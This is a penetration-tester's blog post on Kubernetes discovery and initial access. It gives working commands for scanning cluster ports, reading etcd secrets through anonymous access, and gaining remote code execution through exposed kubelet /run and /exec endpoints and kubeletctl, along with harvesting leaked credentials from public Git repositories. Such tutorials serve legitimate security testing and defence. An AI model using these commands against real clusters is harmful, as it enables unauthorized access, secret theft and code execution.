[Kubernetes] Attack Path (Part 1) — Discovery & Initial Access

bigb0ss
bigb0ss
Feb 9 · 6 min read

Intro

In my couple of past blogs, we went over how to create a testing environment for Kubernetes.

Today, I will briefly go over some of the low-hanging fruits when you are dealing with the Kubernetes environment. In this Part 1, I will focus on Discovery and Initial Access. Also, it might be a good idea to quickly go over the Kubernetes Threat Matrix (MITRE ATT&CK style) created by Microsoft team.

Source: Threat matrix for Kubernetes

I may not touch every each topic described in that Threat Matrix; however, I will be focusing on practical guide to what to look for when you are assessing the Kubernetes environment.

Kubernetes Basics

Master Node

  • API Server: Component on the master node that exposes the Kubernetes API.
  • Controller Manager: This is a daemon that embeds the core control loops shipped with Kubernetes.
  • Scheduler: Component on the master that watches newly created pods that have no node assigned and selects a node for them to run on.
  • etcd: Consistent and highly-available key value store used as Kubernetes’ backing store for all cluster data including secrets.

Worker Node

  • Kubelet: An agent that runs on each node in the cluster. It makes sure that containers are running in a pod.
  • cAdvisor: cAdvisor auto-discovers all containers in the machine and collects statistics like CPU, memory, filesystem, and network usage. cAdvisor is integrated into Kubelet binary.
  • Kube-proxy: Kube-proxy enables the Kubernetes service abstraction by maintaining network rules on the host and performing connection forwarding (iptables and IPVS).
  • Pod: A pod is a group of one or more containers (such as Docker containers), with shared storage/network and a specification for how to run the containers.

1) Credentials or Configuration Files in Public Sites?

Kubernetes penetration testing is nothing special when it comes to OSINT. But one thing to look at is any stored credentials in Github or Gitlab repositories. This happens because developers may accidentally put their credentials in those public repositories.

If the target company is not too big, you can probably do a manual search to browse their Git repositories and look for files like password or secret and file extensions like .config, .conf and so forth.

If you wish to automate this activity, one can use the opensource tool called “TruffleHog” which will search through git repositories for secrets, digging deep into commit history and branches.

  • Installation
$ pip install truffleHog
  • Example Usage
# Scrap the repo for the target company
$ for i in {1..<LAST PAGE OF TARGET COMPANY GITHUB REPO>}; do curl -k https://github.com/<TARGET COMPANY>?page=$i | grep '/<TARGET COMPANY>' | grep mr-3 | awk '{print $2}' 2>/dev/null >> tmp; done && cat tmp | cut -d "/" -f 3 | sort -u > github-repo.txt && rm tmp
# TruffleHog
$ while read i; do echo "[INFO] Running: $i" && trufflehog --regex --entropy=False https://github.com/<TARGET COMPANY>/$i; done < github-repo.txt
*Since it's using regex, it may create some false positives. You just need to weed them out; however, this tool will do most of the heavy lifting for you :)

2) Exposed Services?

2–1) Common Kubernetes Ports

To be honest, if a Kubernetes cluster is configured properly, it exposes very limited attack surface. Ideally, Kubernetes API Server should be only accessed outside the cluster. And when it’s exposed it should be securely configured with TLS (certificate).

However, as you may already know that not all environment is super hardened or configured properly. For example, a pod might be misconfigured to directly talk to outside world. So in your initial stage, it would be a good idea to quickly perform a port scan on the common Kubernetes ports.

# Control-plane Node(s)
+---------------+--------------------+-----------------------------+
| Port | Purpose | Note |
+---------------+--------------------+-----------------------------+
| 443/TCP | Kube API Server | Kubernetes API Port |
| 6443/TCP | Kube API Server | Kubernetes API Port |
| 8443/TCP | Kube API Server | Minikube API Port |
| 8080/TCP | Kube API Server | Insecure K8s API Port |
+---------------+--------------------+-----------------------------+
| 2379/TCP | etcd Client Server | etcd Storage |
| 2380/TCP | etcd Client Server | etcd Storage |
| 6666/TCP | etcd Client Server | etcd Storage |
+---------------+--------------------+-----------------------------+
| 4194/TCP | cAdvisor | Container Matrics |
+---------------+--------------------+-----------------------------+
| 10250/TCP | kubelet API | |
| 10251/TCP | kube-scheduler | |
| 10252/TCP | controller-manager | |
+---------------+--------------------+-----------------------------+
| 9099/TCP | calico-felix | Health check Calico server |
+---------------+--------------------+-----------------------------+
| 6782-4/TCP | weave | Metrics and endpoints |
+---------------+--------------------+-----------------------------+
# Worker Node(s)
+---------------+--------------------+-----------------------------+
| Port | Purpose | Note |
+---------------+--------------------+-----------------------------+
| 10250/TCP | kubelet API | |
| 30000-2767/TCP| NodePort Service | |
+---------------+--------------------+-----------------------------+
  • Example Usage
$ nmap -Pn --open -sV -p 443,2379,2380,4194,6782-6784,6666,8080,9099,10250-10252,30000-32767 <TARGET HOST>

2–2) API Server

By default, Kubernetes API endpoints will not allow anonymous access; however, for whatever reason, if the API endpoints are accessible, you can try some directory enumerations.

$ curl http(s)://<Kubernetes-Master-Server>:<Port>
  • Example Directories

Note: It would be also worth to do some directory fuzzing against the API endpoint in order to find any customized or hidden directories or files

/api
/api/v1
/apis
/apis/
/apis/apps
/apis/apps/v1
/apis/autoscaling
/apis/autoscaling/v1
/apis/batch
/apis/batch/v1
...

2–3) etcd Server

The Kubernetes etcd stores the cluster secrets and configurations files. By default, the etcd endpoints will not allow anonymous access. However, it is good to check.

$ curl http://<Kubernetes-Master-Server>:2379$ curl http://<Kubernetes-Master-Server>:6666/v2/keys

If it allows anonymous access, try the following etcdctl command to retrieve the secrets:

$ etcdctl --endpoints=<Kubernetes-Master-Server>:2379 get / --prefix --keys-only# If etcd is configured with TLS cert
etcdctl --endpoints <Kubernetes-Master-Server>:2379 --cacert <ca_cert_path> --cert <cert_path> --key <cert_key_path> get / --prefix --keys-only

2–4) Kubelet

Kubelet is an agent that is deployed on each pod in the cluster. So the API server can talk to each pod via this kubelet. For this reason, kubelet can create containers and further have a full control over pods running in the cluster. And those functions are completed via kubelet API calls.

Kubernetes Architecture (Source: Using Kubelet Client to Attack the Kubernetes)

If kubelet is exposed, it will listen on the default 10250 port. There are common kubelet API like /pods — listing the pods in the kubelet’s worker, but there are also many of the undocumented APIs.

  • Discovering Kubelet
$ https://<Kubelet-IP>:10250/pods

If you are able to locate the exposed kubelet endpoint, you can potentially read sensitive information and further gain RCE onto a container.

  • RCE using API Calls
# /run
$ curl -ks -X POST https://<Kubelet-IP>:10250/run/<namespace>/<pod>/<container> -d "cmd=id /""
# /exec
curl -k -H "Connection: Upgrade" \
-H "Upgrade: SPDY/3.1" \
-H "X-Stream-Protocol-Version: v2.channel.k8s.io" \
-H "X-Stream-Protocol-Version: channel.k8s.io" \
-X POST "https://<Kubelet-IP>:10250/exec/<podNamespace>/<podID>/<containerName>?command=id&command=/&input=1&output=1&tty=1"

To attack this, you can also use the opensource tool called “kubeletctl” created by CyberArk team.

# Scanning for Accessible Kubelet API
$ kubeletctl scan --cidr 172.31.16.0/24
# List pods
$ kubeletctl pods
# List token
$ kubeletctl scan token
# RCE
$ kubeletctl scan rce
$ kubeletctl exec "id" -p <Pod Name> -c <Container Name>

Note: If you are targeting the Kubernetes environment deployed in managed Kubernetes services like AWS EKS, Azure AKS or Google GKE, kubelet attacks might be limited. It is because those services usually prevent unsecured settings for the kubelet APIs.

Conclusion

In this blog, we briefly went over basics of Kubernetes and attack vectors for discovery of the target cluster and initial access. In the Part 2, I will discuss some of things you can look for after gaining access to the cluster.

Thanks for reading!

Sign up for Top 10 Stories

By The Startup

Get smarter at building your thing. Subscribe to receive The Startup's top 10 most read stories — delivered straight into your inbox, once a week. Take a look.

By signing up, you will create a Medium account if you don’t already have one. Review our Privacy Policy for more information about our privacy practices.

Check your inbox
Medium sent you an email at to complete your subscription.

bigb0ss

Written by

bigb0ss

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

The Startup

Get smarter at building your thing. Follow to join The Startup’s +8 million monthly readers & +794K followers.

bigb0ss

Written by

bigb0ss

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

The Startup

Get smarter at building your thing. Follow to join The Startup’s +8 million monthly readers & +794K followers.

Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more

Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

If you have a story to tell, knowledge to share, or a perspective to offer — welcome home. It’s easy and free to post your thinking on any topic. Write on Medium

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store